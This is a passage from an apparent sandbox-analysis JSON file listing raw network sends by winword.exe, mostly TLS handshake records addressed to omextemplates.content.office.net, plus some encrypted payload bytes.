  355. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x01p\\x96t\\x1d\\xe4d\\xd0\\xc3+\\xb6e\\xc2\\x95z\\x12\\x85\\xab\\x03\\x9e\\x89(\\xaf\\x86|\\x9b/\\xde\\xd6@jh\\xb0\\xfa\\xc0\\x97j4\\x0en,\\xb4=wz \\xca\\xe9\\x03$\\xdd\\xee7\\xe2\\xf6\\xab2\\x11\\xe9`f\\x86e\\xdd\\xd3\\xa0\\xdd\\xcb\\xfa\\x92\\xb28%\\x02^j\\x0e\"\\x81t\\xf43\\x1a\\xfe\\x1cc\\x0c\\x00t.\\xfb\\x86_|\\xf3#\\xc4\\x90v\\xf5\\xe9ul\\x19h\\x93w\\xba\\x13\\xb6\\xd8\\xbd\\xa8\\xcc\\xb9vc!(\\xc2\\x0f\\xa7\\xd9\\x87\\x17\\xf8l\\x88b\\xcb\\xa6x\\x99\\xd7=\\xe9\\xbb'j}\\xc1\\xdczhx\\xf3_\\xb6\\xebwi\\x1f'nq;-\\xbc\\xae\\xfbe:z\\xd0\\xebgvs\\xbf\\xaf\\xf1\\xa5\\x1d$\\xde\\x88\\xcc\\x9c\\xdd\\xc0 \\xe3\\xc4~\\xdd\nh$\\xdd\\x00\\xbfs\\xc0\\x0e\\xc1\\x9dc\"n=t'\\xbf\\x84\\xbbe\\x01\r\\x82n\\x82rj\\xe7/g\\xd9k\\x80=\\x81\\x81'\\x96\\xcc5k4\\x8ce\\xc8e\\x8c\\xad\\x05gl\\xd3g\\x11_q\\xd7<&,\\x0c\\xd9\\xc5\\xe8db\\x17"
  356. },
  357. {
  358. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x07\\xee\\xbb\\xcfj\\x85\\xdae*\\xa7\\xc2c*\\x97/\\x02|n,\\x98k\\x01\\xae\\xf6\\xf1\\xa14.z\\xb4_\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  359. },
  360. {
  361. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x07\\xee\\xbbtge\"\\xe9\\xf6~$&d\\x08jx@\\xfa_#\\x1c\\xdf\\xde\\x95\\xfe\\xd3\\xcc\\xea\\xa3\\xbc\\xc8\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  362. },
  363. {
  364. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x07\\xee\\xbcb)\\x98\\x9ba\t\\x07t\\x95\\xaf&\\x1c\\xed\\xd8\\x85*\\xbbg\\xbf~\\x83$c\\x15\\xe3,\\xc2\\x1b\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  365. },
  366. {
  367. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x07\\xee\\xbcfl\\x99\\x16\\xceva|\\x03\\xb1\\x84^\\xd3\\x8d\\x04.\\xa6m\t\\xb93f\\xc0\\x1a\\xb5\n\\x16}\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  368. },
  369. {
  370. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x07\\xee\\xbc\\xa9\\xa9\\x1d\\xd5\\xaf\\x00@\\xa0\\x03\\x04\\xaco\\x08\\xeb\\xf9x\\x114\\xfboa\\x9bl<\\xfb\\x8d^\r\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  371. },
  372. {
  373. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x07\\xee\\xbc3\\xf92\\$\\xbf1\\x12\\x14\\xf7\\x15\\xa2elq\\x0e\\xe3\\xd0r&,\\x1d\\x9f0q\\xa9\\xd3/\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  374. },
  375. {
  376. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x07\\xee\\xbc\\x94\\x02>\\x17\\x18h\\xf9\\x82\\x88\\xf8}\\xf8\\x95-r\\xb9\\x0b\\x0e\\x88\\xd5\\xcbj\\x0bqc\\x9duc\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  377. },
  378. {
  379. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x07\\xee\\xbc`\\xb7\\xdf\\xac\\xb3n\\xea\\x92t\\xda\\x10\\xb1\\xaffjq\\x91\\xf8\\x94kk\\xb3\\x12\\xb3\\xe1\\xee\\xf7\\xe6\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  380. },
  381. {
  382. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x07\\xee\\xbc\\x92\\xaa\\x80\\x16^\\xd8\\x1e8\\x83\\xfc\\xca<\\x13l\\xdc\\xf8\\xcf\\xb5\\xfbjo\\xc2\\xea\\xb5a\\x11\\xf9\\xcd\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  383. },
  384. {
  385. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x07\\xee\\xbc%^\\xd4\\xf4\\xebt~-\\x80\\x1e\\xbf\\x12k\\xd5w\\xfc\\xb9\\x1d\\xd2\\x8cx\\x05\\xd1:b\\xc2\\xdd\\x86\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  386. },
  387. {
  388. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x07\\xee\\xbc\\xd9#,*c\t>\\xe5v3\\xff\\x99k\\xb4\\xbeu3\\x85%\\xae\\xc3\\xe5\\x15\\xd2\\xbf\\x06~\\x8b\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  389. },
  390. {
  391. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x07\\xee\\xbc\\x81\\xeb\\xe3\\x929\\xd1\\\\xbe\\x83\\xca\\x8f\\xfdi\\xf3,p\\xbe-\tn\\x83\\x82\\xbc\\x19[\\xb0d\\x1c\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  392. },
  393. {
  394. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x07\\xee\\xbcl\\x7f\\xf3`'\\x95<x\\xf9\\xf5\\xb6\\xa4r\\xdd\\xf3.\\x06i\\x15>o6i\\xa4\\xc9q\\x9do\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  395. },
  396. {
  397. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x07\\xee\\xbc\\x97\\xaa7q\\x8d5t\\xe3\\x1f\\xce\\x97'\\x13\\x82\\x9e\\x8e)\\xa8{<]\\xaf\\xbf\\xc4{\\xde0\\x10\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  398. },
  399. {
  400. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x07\\xee\\xbc\\xe7t]\\xe4\\x96>:r\\x02\\xdb-\\x96\\xa2\\xb7\\xd2\\x1dc\\xd1k\\xd8o\\x7fu\\xc4\\xfc\\xa3\\xc2\\x07\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  401. },
  402. {
  403. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x07\\xee\\xbc\\xc8\\xf1*bthb\\xd0\\x9b@\\xe2si\\xcb\\xcf\\xc7\\x15\\xce$8\\x9f\\xfa2\\xc2'8\\xcf\\x9f\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  404. },
  405. {
  406. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x07\\xee\\xbc\\x01\\xb4\\xca\\xe0\\xc4\\xb5\\xc2\\xbf\\xd4\\x9d+\\xbe\\xd6\\xd9\\x17<\\x05\\xe7\\y[\\xaa\\xf1b`\\xad\\xa3+\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  407. },
  408. {
  409. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x07\\xee\\xbcr%\\xbd\\xa0\\xa8\\xe8>'\\xf0\\xe9\\x1b\\xc6\\x02\\x7fzv\\x1ap\\xf1r\\xd1l\\xa4\\x9eb\\xf2p\\x87\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  410. },
  411. {
  412. "http_request": "winword.exe_WSASend_\\xee\\x04\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x07\\xee\\xbc \\x8b\\xa1h\\x19\\xb4\\xc8\\x0f\\xe6\\xd3\\x826\\xdf\\xcc2]\\xfb\\x0exag\\xd3s8*\\xd9\\x17\\x04\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  413. },
  414. {
  415. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x07\\xee\\xbcm\\xaag\\xac\\x9e\\x9c5\\xba/\\xf7\\xc4v\\x96l(d^\\xab\\xf8\\xc3e9\\x00\\xe0\\x1a%u\\xeb\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  416. },
  417. {
  418. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x07\\xee\\xbc\\x1c\\xeb\\x8d,\\xcb\\xfa\\xe0zt\\xab\\x078`~!]\\xeb\\xb0\\x13\\xad\\x91onpq\\xbfd\\xdd\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  419. },
  420. {
  421. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x07\\xee\\xbc(]u\\xf9\\xd1\\xea\\xfe\\xb0\\xaa\\xce\\xfcr\rl\\x89\\xed\\xf2\\xb6t\\x1d8\\xe5[\\xdd\\xea\\xb5i\\xb0\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  422. },
  423. {
  424. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x07\\xee\\xbch\\xef\\x917\\x14\\xb6.s\\xe8\t\\xde\\x12\\x18#1\\x18\\x8e\\xac\\xba\\xf7~.\\xf0-l\\xd8\\xb8\\x12\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  425. },
  426. {
  427. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x07\\xee\\xbc\\x89h\\xa8\\xb5\\x0b\\xbc\\x08\\x95\\x1a\\xde\\xbd1\\x85&if{p\\xa7\"vx[j\\x15+\\xd31\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  428. },
  429. {
  430. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x07\\xee\\xbco\\x9b\\xae\\xc3\\xc0q\\x1f\\x9c6\\xbf\\xae\\xb3\\x17\\xf8s7\\x8e^.\\x87\\x94\\x0c\t\\xf6\\xa5\\xe4\\xbe\\xa2\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  431. },
  432. {
  433. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x07\\xee\\xbc_r\\xde\\xdc8+\\xd7\\xfe\\x98%alw\\xe5\\x19\\xb53r\\x17\t\\xecbp\\xa7~\\xeb\\xa6g\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  434. },
  435. {
  436. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x07\\xee\\xbc\\xe2\\x16\\x12\\xa7g\\x1e(\\x9e\\xbc\\xdf\\x03\\x0bhn\\x86\\xdc]vo\\xbf}e\\xcf)c\\xa5\\x8a%\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  437. },
  438. {
  439. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x07\\xee\\xbc\\xe0\\xc6\\x06eq|\\x8b\\x8e\\x076\\x07\\xd0ed\\xfeg\\xbb\\xecq\\x1ek.\\x80\\x05\\x0b\\x1b\"\\x80\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  440. },
  441. {
  442. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x07\\xee\\xbc\\xdc\\xbd\\xe6\\xff\\x1e\\xaej\\xd4\\xe7\\xe7\\xb4\\xc2:s\\xe6\\xc9\\x9ei\\x81\\xd0\\xe1\\x9c\r\\x0b\\x02\\xbe\\xe2\\xdb\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  443. },
  444. {
  445. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x07\\xee\\xbc \\xe3v\\x99\\x9en\\xc0\\xd5/\\x1cw\\x04\\x14\\x97\\x18\\x9f\\xf0\\x0fs\t\\x80\\x10lj\\xb4i\\xfc%\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  446. },
  447. {
  448. "http_request": "winword.exe_WSASend_\\xee\\x04\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01]\\x07\\xee\\xbc\\xae&)\\xdb\\xb7>\\xbce \\xf4\\xadz\\x1cu\\x1f\\xd9/w\\xe9\\xc6\\x85y\\xe8\\xaa*\\xdf\\xfa\\xc1\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  449. },
  450. {
  451. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x97t\\xcfu8\\xee\\x08v\\xfb\\x17\\x17\\x0f+\\x1d\\xcd\\xea\\xe1\\xfc\\xe3k9\\xe4\\x1e\\x8f\\xe2r\\xd9\\xd3n\\xe2{<o\\xa6\\xb7/\\x12\\xb7\\xb8+\\x80[y\\xca\\xb1\\x8f\\xec\\xf5u*\\xb0\\xc3c\\xc0\\xf8w\\x1d\\xcegx\\x0e\\xa5\\xde\\xb9\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xe5\\xffc\\xd9\\xd3\\xf2\\xec\\xef0\\xa9/i\\xb9<\\xf5.t%\\x96k\\xf3;e|gycz\\x9e&u:\\xab>\\xc5\\xe7_2\\xd3\\xec\\x9c]\\xe4\\xfa\\xdb\\x17\\x8et"
  452. },
  453. {
  454. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xf7\\x9f\\xe7cpkp\\xc7\\xab\\xc7p\\x1bm\\xd0\\x1d\\xa9\\xdb]\\xb9\\xb8+\\x08\\xdex\\x82d)\\xd9\\x05\\x96\\xa9j?\\xd8:\\xffh\\xae\\x9f\\x03\\xf5\\xd8\\xad\\xe6\\xda\\x9c [\\xd7\\xa1n\\x0f~pa\\xa7x7i:\\xbc\\xe9\\xea*\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000z\\xa7\\x9e\\xcd_j\\xd3\\xf2\\x7f1\\xccd\\xc9\\xaf\\xd6\\xbb\\x87\\xded&\\xe7\\xf5\\x8b\\x01\\x07o0p\\x95\\xd9a\\x0eyoy\\xa8a\\xb1\\xbch\\xbbsy\\x92\\xe6e\\xfc\\xc9"
  455. },
  456. {
  457. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x05\\x05\\x08y<i2\\xbc\\x93~\\xb1\\xbb,\\x92\\xf0\\x00\\xfc}rfb\\xc6\\xcagw\\xd1o\\x15\\xc3\\xa6\\xabu\\x8ej\\xd3<\\xea\\x9b\\x19v^zvc\\x14\\xcb\\xfb\\xbe&\\x13\\x010\\x96\\x0b\\x82\\xf8\\xb9-\\x9c]\\x93\\xe3,)\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000da6\\xe8\\xb1p_\\x85o\\x1ecw5\\xbc\\xbawy3:\\xf2\\x1e\\xe5o\\xbe\\xf3\\xbb?zg\\xbb~\\xebf\\x99\\xba22\\x94\\xc6l\\x99f\\xc2\\x14\\x00^\\xd5\\xcd"
  458. },
  459. {
